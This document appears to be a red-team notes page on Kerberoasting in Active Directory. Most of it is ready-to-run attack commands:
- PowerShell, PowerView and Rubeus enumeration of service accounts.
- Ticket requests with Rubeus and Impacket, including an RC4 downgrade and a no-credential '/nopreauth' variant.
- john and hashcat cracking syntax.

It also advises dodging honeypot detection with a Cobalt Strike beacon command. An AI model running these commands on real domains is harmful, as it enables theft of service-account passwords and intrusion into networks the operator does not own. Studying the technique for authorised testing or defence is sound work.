# Kerberoasting

The response issued by the KDC to issue a valid ST to a user ([TGS-REP](../overview-of-kerberos-authentication#tgs-req-and-tgs-rep)) is made of two main components

```
TGS-REP = encrypt_with_shared_session_key(
	spn, timestamp, lifetime, application_shared_session_key
) + encrypt_with_service_key(ST)
```

Services run on a machine under the context of a user account which are either local to the machine (`LocalSystem`, `LocalService`, `NetworkService`) or are domain accounts (e.g. `DOMAIN\mssql`). A Service Principal Name (SPN) is a unique identifier of a service instance and are used with Kerberos to associate a service instance with a logon account, and are configured on the User Object in AD. These accounts are like machine accounts and can even have self-rotating passwords.

Normally, services run under the context of a machine account, who's passwords are complex, pseudo-random and they get changed periodically. In some situations it's possible to see services executed by normal user accounts, usually domain users; these are accounts more prone to being compromised as their passwords are generally weaker (since they are chosen by humans) and they could also get compromised using other attacks. So Kerberoasting is a technique for requesting TGS’ for services running under the context of domain accounts and cracking them offline to reveal their plaintext passwords.

{% hint style="info" %}
A user can request a `Service Ticket (ST)` for `all` available services existing on the Active Directory environment and have those tickets **encrypted with the secret of each service account** in their possession.
{% endhint %}

To manually detect kerberoastable accounts (accounts with a non-empty SPN) we can use the following Powershell script

```powershell
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
$results = $search.Findall()
foreach($result in $results)
{
    $userEntry = $result.GetDirectoryEntry()
    Write-host "User" 
    Write-Host $userEntry.name "(" $userEntry.distinguishedName ")"
        Write-host ""
    Write-host "SPNs"
    foreach($SPN in $userEntry.servicePrincipalName)
    {
        $SPN       
    }
    Write-host ""
    Write-host ""
}
```

created from the following LDAP query

```
&(objectCategory=person)(objectClass=user)(servicePrincipalName=*)
```

Or use automated tools like PowerView

```
Import-Module .\PowerView.ps1
Get-DomainUser -SPN
```

Rubeus' `kerberoast` can be used to perform the kerberoasting; running it without further arguments will roast every account in the domain that has an SPN (excluding krbtgt).

```
Rubeus.exe kerberoast /simple /nowrap

[*] Total kerberoastable users : 3
...
```

We can roast an individual account the `/user` parameter.

```
Rubeus.exe kerberoast /user:otter /nowrap
```

We could use the `/pwdsetafter` and `/pwdsetbefore` arguments to Kerberoast accounts whose password was set within a particular date; this can be helpful to us, as sometimes we find legacy accounts with a password set many years ago that is outside of the current password policy and relatively easy to crack.

We can use the `/stats` flag to list statistics about Kerberoastable accounts without sending any ticket requests. This can be useful for gathering information and checking the types of encryption the account tickets use.

The `/tgtdeleg` flag can be useful for us in situations where we find accounts with the options `This account supports Kerberos AES 128-bit encryption` or `This account supports Kerberos AES 256-bit encryption` set, meaning that when we perform a Kerberoast attack, we will get a `AES-128 (type 17)` or `AES-256 (type 18)` TGS tickets back which can be significantly more difficult to crack than `RC4 (type 23)` tickets. We will know the difference because an RC4 encrypted ticket will return a hash that starts with the `$krb5tgs$23$*` prefix, while AES encrypted tickets will give us a hash that begins with `$krb5tgs$18$*`.

In cases where we receive the hash of the account with AES encryption (which is harder to crack), we can use `/tgtdeleg` flag with Rubeus to force RC4 encryption. This may work in some domains where RC4 is built-in as a failsafe for backward compatibility with older services. If successful, we may get a password hash that could crack minutes or even hours faster than if we were trying to crack an AES-encrypted hash.

{% hint style="info" %}
Even though Rubeus does not include the `krbtgt` account, it can [sometimes](https://twitter.com/_wald0/status/1361720293539139589) be cracked.
{% endhint %}

Other methods to kerberoast use PowerView and Impacket

```
Import-Module .\PowerView.ps1
Get-DomainUser * -SPN | Get-DomainSPNTicket -format Hashcat | export-csv .\tgs.csv -notypeinformation
# or
Import-Module .\PowerView.ps1
Invoke-Kerberoast
```

```
GetUserSPNs.py domain.com/otter
```

These hashes can be cracked offline to recover the plaintext passwords for the accounts.  Use `--format=krb5tgs --wordlist=wordlist hashes` for john or `-a 0 -m 13100 hashes wordlist` for hashcat.

```
$ john --format=krb5tgs --wordlist=wordlist mssql_svc
```

{% hint style="info" %}
I experienced some hash format incompatibility with john.  Removing the SPN so it became: `$krb5tgs$23$*otter$domain.com*$6A9E ...` seemed to address the issue.
{% endhint %}

{% hint style="danger" %}
By default, Rubeus will roast every account that has an SPN.  Honey Pot accounts can be configured with a "fake" SPN, which will generate a 4769 event when roasted.  Since these events will never be generated for this service, it provides a high-fidelity indication of this attack.

```
event.code: 4769 and winlog.event_data.ServiceName: honey_svc
```

A much safer approach is to enumerate possible candidates first and roast them selectively.  This LDAP query will find domain users who have an SPN set.

```
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(servicePrincipalName=*))" --attributes cn,servicePrincipalName,samAccountName
```
{% endhint %}

#### Kerberoasting without an account password

Kerberoasting usually requires a valid set of domain credentials but it's possible to perform the technique even without credentials on an account with Kerberos pre-authentication enabled - we can use this account to use an `AS-REQ` request to request a TGS ticket for a Kerberoastable user.

To do this we need:

* Username of an account with pre-authentication disabled (`DONT_REQ_PREAUTH`).
* A target SPN or a list of SPNs.

First off, we need to create a fresh session, we can use Rubeus' `createnetonly`

```
Rubeus.exe createnetonly /program:cmd.exe /show
```

This session doesn't have any domain credentials so kerberoasting from here will fail but if we include a user with the `DONT_REQ_PREAUTH` attribute set and a valid SPN we can use the `/nopreauth` flag and successfully get a hash

```
Rubeus.exe kerberoast /nopreauth:otter /domain:domain.com /spn:MSSQLSvc/SQL01.domain.com:1433 /nowrap
```

{% hint style="info" %}
To use a list of SPNs we use the `/spns:list.txt` argument
{% endhint %}
